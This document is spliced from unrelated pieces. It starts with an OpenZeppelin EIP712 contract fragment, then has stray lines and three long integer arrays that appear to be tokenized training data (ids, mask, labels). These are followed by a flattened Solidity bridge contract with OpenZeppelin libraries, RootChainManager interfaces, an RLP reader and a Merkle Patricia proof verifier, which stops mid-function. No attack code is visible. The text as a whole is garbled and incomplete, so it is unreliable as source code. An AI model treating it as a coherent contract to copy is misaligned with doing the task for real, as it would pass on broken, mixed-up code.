https://docs.metamask.io/guide/signing-data.html[`eth_signTypedDataV4` in MetaMask]. * * _Available since v3.4._ */ abstract contract EIP712 { /* solhint-disable var-name-mixedcase */ // Cache the domain separator as an immutable value, but also store the chain id that it corresponds to, in order to // invalidate the cached domain separator if the chain id changes. bytes32 private immutable _CACHED_DOMAIN_SEPARATOR; uint256 private immutable _CACHED_CHAIN_ID; bytes32 private immutable _HASHED_NAME; bytes32 private immutable _HASHED_VERSION; bytes32 private immutable _TYPE_HASH; /* solhint-enable var-name-mixedcase */ /** * @dev Initializes the domain separator and parameter caches. * * The meaning of `name` and `version` is specified in * https://eips.ethereum.org/EIPS/eip-712#definition-of-domainseparator[EIP 712]: * * - `name`: the user readable name of the signing domain, i.e. the name of the DApp or the protocol. * - `version`: the current major version of the signing domain. * * NOTE: These parameters cannot be changed except through a xref:learn::upgrading-smart-contracts.adoc[smart * contract upgrade]. */ constructor(string memory name, string memory version) { bytes32 hashedName = keccak256(bytes(name)); bytes32 hashedVersion = keccak256(bytes(version)); bytes32 typeHash = keccak256( "EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)" ); _HASHED_NAME = hashedName; _HASHED_VERSION = hashedVersion; _CACHED_CHAIN_ID = block.chainid; _CACHED_DOMAIN_SEPARATOR = _buildDomainSeparator(typeHash, hashedName, hashedVersion); _TYPE_HASH = typeHash; } /** * @dev Returns the domain separator for the current chain. */ function _domainSeparatorV4() internal view returns (bytes32) { if (block.chainid == _CACHED_CHAIN_ID) { return _CACHED_DOMAIN_SEPARATOR; } else { return _buildDomainSeparator(_TYPE_HASH, _HASHED_NAME, _HASHED_VERSION); } } function _buildDomainSeparator( bytes32 typeHash, bytes32 nameHash, bytes32 versionHash ) private view returns (bytes32) { return keccak256(abi.encode(typeHash, nameHash, versionHash, block.chainid, address(this))); } /** * @dev Given an already https://eips.ethereum.org/EIPS/eip-712#definition-of-hashstruct[hashed struct], this * function returns the hash of the fully encoded EIP712 message for this domain. * * This hash can be used together with {ECDSA-recover} to obtain the signer of a message. For example: * * ```solidity * bytes32 digest = _hashTypedDataV4(keccak256(abi.encode( * keccak256("Mail(address to,string contents)"), * mailTo, * keccak256(bytes(mailContents)) * ))); * address signer = ECDSA.recover(digest, signature); * ``` */ function _hashTypedDataV4(bytes32 structHash) internal view virtual returns (bytes32) { return ECDSA.toTypedDataHash(_domainSeparatorV4(), structHash); } }
Index within the collection
uint16 count;
1,277,787
[ 1, 1016, 3470, 326, 1849, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 2254, 2313, 1056, 31, 1850, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
/** *Submitted for verification at Etherscan.io on 2021-12-02 */ // File: @openzeppelin/contracts/token/ERC20/IERC20.sol // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts/math/SafeMath.sol // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b > a) return (false, 0); return (true, a - b); } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a / b); } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { if (b == 0) return (false, 0); return (true, a % b); } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) return 0; uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: modulo by zero"); return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); return a - b; } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryDiv}. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); return a % b; } } // File: @openzeppelin/contracts/utils/Address.sol // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/token/ERC20/SafeERC20.sol // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // File: contracts/root/RootChainManager/IRootChainManager.sol pragma solidity 0.6.6; interface IRootChainManager { event TokenMapped( address indexed rootToken, address indexed childToken, bytes32 indexed tokenType ); event PredicateRegistered( bytes32 indexed tokenType, address indexed predicateAddress ); function registerPredicate(bytes32 tokenType, address predicateAddress) external; function mapToken( address rootToken, address childToken, bytes32 tokenType ) external; function cleanMapToken( address rootToken, address childToken ) external; function remapToken( address rootToken, address childToken, bytes32 tokenType ) external; function depositEtherFor(address user) external payable; function depositFor( address user, address rootToken, bytes calldata depositData ) external; function exit(bytes calldata inputData) external; } // File: contracts/root/StateSender/IStateSender.sol pragma solidity 0.6.6; interface IStateSender { function syncState(address receiver, bytes calldata data) external; } // File: contracts/root/ICheckpointManager.sol pragma solidity 0.6.6; contract ICheckpointManager { struct HeaderBlock { bytes32 root; uint256 start; uint256 end; uint256 createdAt; address proposer; } /** * @notice mapping of checkpoint header numbers to block details * @dev These checkpoints are submited by plasma contracts */ mapping(uint256 => HeaderBlock) public headerBlocks; } // File: contracts/root/RootChainManager/RootChainManagerStorage.sol pragma solidity 0.6.6; abstract contract RootChainManagerStorage { mapping(bytes32 => address) public typeToPredicate; mapping(address => address) public rootToChildToken; mapping(address => address) public childToRootToken; mapping(address => bytes32) public tokenToType; mapping(bytes32 => bool) public processedExits; IStateSender internal _stateSender; ICheckpointManager internal _checkpointManager; address public childChainManagerAddress; uint public blockNumber; uint256 public blockRequestCount; uint256 public requestLimit; address public feeToken; uint256 public feeAmount; address public feeTo; } // File: contracts/lib/RLPReader.sol /* * @author Hamdi Allam [email protected] * Please reach out with any questions or concerns * https://github.com/hamdiallam/Solidity-RLP/blob/e681e25a376dbd5426b509380bc03446f05d0f97/contracts/RLPReader.sol */ pragma solidity 0.6.6; library RLPReader { uint8 constant STRING_SHORT_START = 0x80; uint8 constant STRING_LONG_START = 0xb8; uint8 constant LIST_SHORT_START = 0xc0; uint8 constant LIST_LONG_START = 0xf8; uint8 constant WORD_SIZE = 32; struct RLPItem { uint256 len; uint256 memPtr; } /* * @param item RLP encoded bytes */ function toRlpItem(bytes memory item) internal pure returns (RLPItem memory) { require(item.length > 0, "RLPReader: INVALID_BYTES_LENGTH"); uint256 memPtr; assembly { memPtr := add(item, 0x20) } return RLPItem(item.length, memPtr); } /* * @param item RLP encoded list in bytes */ function toList(RLPItem memory item) internal pure returns (RLPItem[] memory) { require(isList(item), "RLPReader: ITEM_NOT_LIST"); uint256 items = numItems(item); RLPItem[] memory result = new RLPItem[](items); uint256 listLength = _itemLength(item.memPtr); require(listLength == item.len, "RLPReader: LIST_DECODED_LENGTH_MISMATCH"); uint256 memPtr = item.memPtr + _payloadOffset(item.memPtr); uint256 dataLen; for (uint256 i = 0; i < items; i++) { dataLen = _itemLength(memPtr); result[i] = RLPItem(dataLen, memPtr); memPtr = memPtr + dataLen; } return result; } // @return indicator whether encoded payload is a list. negate this function call for isData. function isList(RLPItem memory item) internal pure returns (bool) { uint8 byte0; uint256 memPtr = item.memPtr; assembly { byte0 := byte(0, mload(memPtr)) } if (byte0 < LIST_SHORT_START) return false; return true; } /** RLPItem conversions into data types **/ // @returns raw rlp encoding in bytes function toRlpBytes(RLPItem memory item) internal pure returns (bytes memory) { bytes memory result = new bytes(item.len); uint256 ptr; assembly { ptr := add(0x20, result) } copy(item.memPtr, ptr, item.len); return result; } function toAddress(RLPItem memory item) internal pure returns (address) { require(!isList(item), "RLPReader: DECODING_LIST_AS_ADDRESS"); // 1 byte for the length prefix require(item.len == 21, "RLPReader: INVALID_ADDRESS_LENGTH"); return address(toUint(item)); } function toUint(RLPItem memory item) internal pure returns (uint256) { require(!isList(item), "RLPReader: DECODING_LIST_AS_UINT"); require(item.len <= 33, "RLPReader: INVALID_UINT_LENGTH"); uint256 itemLength = _itemLength(item.memPtr); require(itemLength == item.len, "RLPReader: UINT_DECODED_LENGTH_MISMATCH"); uint256 offset = _payloadOffset(item.memPtr); uint256 len = item.len - offset; uint256 result; uint256 memPtr = item.memPtr + offset; assembly { result := mload(memPtr) // shfit to the correct location if neccesary if lt(len, 32) { result := div(result, exp(256, sub(32, len))) } } return result; } // enforces 32 byte length function toUintStrict(RLPItem memory item) internal pure returns (uint256) { uint256 itemLength = _itemLength(item.memPtr); require(itemLength == item.len, "RLPReader: UINT_STRICT_DECODED_LENGTH_MISMATCH"); // one byte prefix require(item.len == 33, "RLPReader: INVALID_UINT_STRICT_LENGTH"); uint256 result; uint256 memPtr = item.memPtr + 1; assembly { result := mload(memPtr) } return result; } function toBytes(RLPItem memory item) internal pure returns (bytes memory) { uint256 listLength = _itemLength(item.memPtr); require(listLength == item.len, "RLPReader: BYTES_DECODED_LENGTH_MISMATCH"); uint256 offset = _payloadOffset(item.memPtr); uint256 len = item.len - offset; // data length bytes memory result = new bytes(len); uint256 destPtr; assembly { destPtr := add(0x20, result) } copy(item.memPtr + offset, destPtr, len); return result; } /* * Private Helpers */ // @return number of payload items inside an encoded list. function numItems(RLPItem memory item) private pure returns (uint256) { // add `isList` check if `item` is expected to be passsed without a check from calling function // require(isList(item), "RLPReader: NUM_ITEMS_NOT_LIST"); uint256 count = 0; uint256 currPtr = item.memPtr + _payloadOffset(item.memPtr); uint256 endPtr = item.memPtr + item.len; while (currPtr < endPtr) { currPtr = currPtr + _itemLength(currPtr); // skip over an item require(currPtr <= endPtr, "RLPReader: NUM_ITEMS_DECODED_LENGTH_MISMATCH"); count++; } return count; } // @return entire rlp item byte length function _itemLength(uint256 memPtr) private pure returns (uint256) { uint256 itemLen; uint256 byte0; assembly { byte0 := byte(0, mload(memPtr)) } if (byte0 < STRING_SHORT_START) itemLen = 1; else if (byte0 < STRING_LONG_START) itemLen = byte0 - STRING_SHORT_START + 1; else if (byte0 < LIST_SHORT_START) { assembly { let byteLen := sub(byte0, 0xb7) // # of bytes the actual length is memPtr := add(memPtr, 1) // skip over the first byte /* 32 byte word size */ let dataLen := div(mload(memPtr), exp(256, sub(32, byteLen))) // right shifting to get the len itemLen := add(dataLen, add(byteLen, 1)) } } else if (byte0 < LIST_LONG_START) { itemLen = byte0 - LIST_SHORT_START + 1; } else { assembly { let byteLen := sub(byte0, 0xf7) memPtr := add(memPtr, 1) let dataLen := div(mload(memPtr), exp(256, sub(32, byteLen))) // right shifting to the correct length itemLen := add(dataLen, add(byteLen, 1)) } } return itemLen; } // @return number of bytes until the data function _payloadOffset(uint256 memPtr) private pure returns (uint256) { uint256 byte0; assembly { byte0 := byte(0, mload(memPtr)) } if (byte0 < STRING_SHORT_START) return 0; else if ( byte0 < STRING_LONG_START || (byte0 >= LIST_SHORT_START && byte0 < LIST_LONG_START) ) return 1; else if (byte0 < LIST_SHORT_START) // being explicit return byte0 - (STRING_LONG_START - 1) + 1; else return byte0 - (LIST_LONG_START - 1) + 1; } /* * @param src Pointer to source * @param dest Pointer to destination * @param len Amount of memory to copy from the source */ function copy( uint256 src, uint256 dest, uint256 len ) private pure { if (len == 0) return; // copy as many word sizes as possible for (; len >= WORD_SIZE; len -= WORD_SIZE) { assembly { mstore(dest, mload(src)) } src += WORD_SIZE; dest += WORD_SIZE; } // left over bytes. Mask is used to remove unwanted bytes from the word uint256 mask = 256**(WORD_SIZE - len) - 1; assembly { let srcpart := and(mload(src), not(mask)) // zero out src let destpart := and(mload(dest), mask) // retrieve the bytes mstore(dest, or(destpart, srcpart)) } } } // File: contracts/lib/MerklePatriciaProof.sol /* * @title MerklePatriciaVerifier * @author Sam Mayo ([email protected]) * * @dev Library for verifing merkle patricia proofs. */ pragma solidity 0.6.6; library MerklePatriciaProof { /* * @dev Verifies a merkle patricia proof. * @param value The terminating value in the trie. * @param encodedPath The path in the trie leading to value. * @param rlpParentNodes The rlp encoded stack of nodes. * @param root The root hash of the trie. * @return The boolean validity of the proof. */ function verify( bytes memory value, bytes memory encodedPath, bytes memory rlpParentNodes, bytes32 root ) internal pure returns (bool) { RLPReader.RLPItem memory item = RLPReader.toRlpItem(rlpParentNodes); RLPReader.RLPItem[] memory parentNodes = RLPReader.toList(item); bytes memory currentNode; RLPReader.RLPItem[] memory currentNodeList; bytes32 nodeKey = root; uint256 pathPtr = 0; bytes memory path = _getNibbleArray(encodedPath); if (path.length == 0) { return false; } for (uint256 i = 0; i < parentNodes.length; i++) { if (pathPtr > path.length) { return false; } currentNode = RLPReader.toRlpBytes(parentNodes[i]); if (nodeKey != keccak256(currentNode)) { return false; } currentNodeList = RLPReader.toList(parentNodes[i]); if (currentNodeList.length == 17) { if (pathPtr == path.length) { if ( keccak256(RLPReader.toBytes(currentNodeList[16])) == keccak256(value) ) { return true; } else { return false; } } uint8 nextPathNibble = uint8(path[pathPtr]); if (nextPathNibble > 16) { return false; } nodeKey = bytes32( RLPReader.toUintStrict(currentNodeList[nextPathNibble]) ); pathPtr += 1; } else if (currentNodeList.length == 2) { uint256 traversed = _nibblesToTraverse( RLPReader.toBytes(currentNodeList[0]), path, pathPtr ); if (pathPtr + traversed == path.length) { //leaf node if ( keccak256(RLPReader.toBytes(currentNodeList[1])) == keccak256(value) ) { return true; } else { return false; } } //extension node if (traversed == 0) { return false; } pathPtr += traversed; nodeKey = bytes32(RLPReader.toUintStrict(currentNodeList[1])); } else { return false; } } } function _nibblesToTraverse( bytes memory encodedPartialPath, bytes memory path, uint256 pathPtr ) private pure returns (uint256) { uint256 len = 0; // encodedPartialPath has elements that are each two hex characters (1 byte), but partialPath // and slicedPath have elements that are each one hex character (1 nibble) bytes memory partialPath = _getNibbleArray(encodedPartialPath); bytes memory slicedPath = new bytes(partialPath.length); // pathPtr counts nibbles in path // partialPath.length is a number of nibbles for (uint256 i = pathPtr; i < pathPtr + partialPath.length; i++) { bytes1 pathNibble = path[i]; slicedPath[i - pathPtr] = pathNibble; } if (keccak256(partialPath) == keccak256(slicedPath)) { len = partialPath.length; } else { len = 0; } return len; } // bytes b must be hp encoded function _getNibbleArray(bytes memory b) internal pure returns (bytes memory) { bytes memory nibbles = ""; if (b.length > 0) { uint8 offset; uint8 hpNibble = 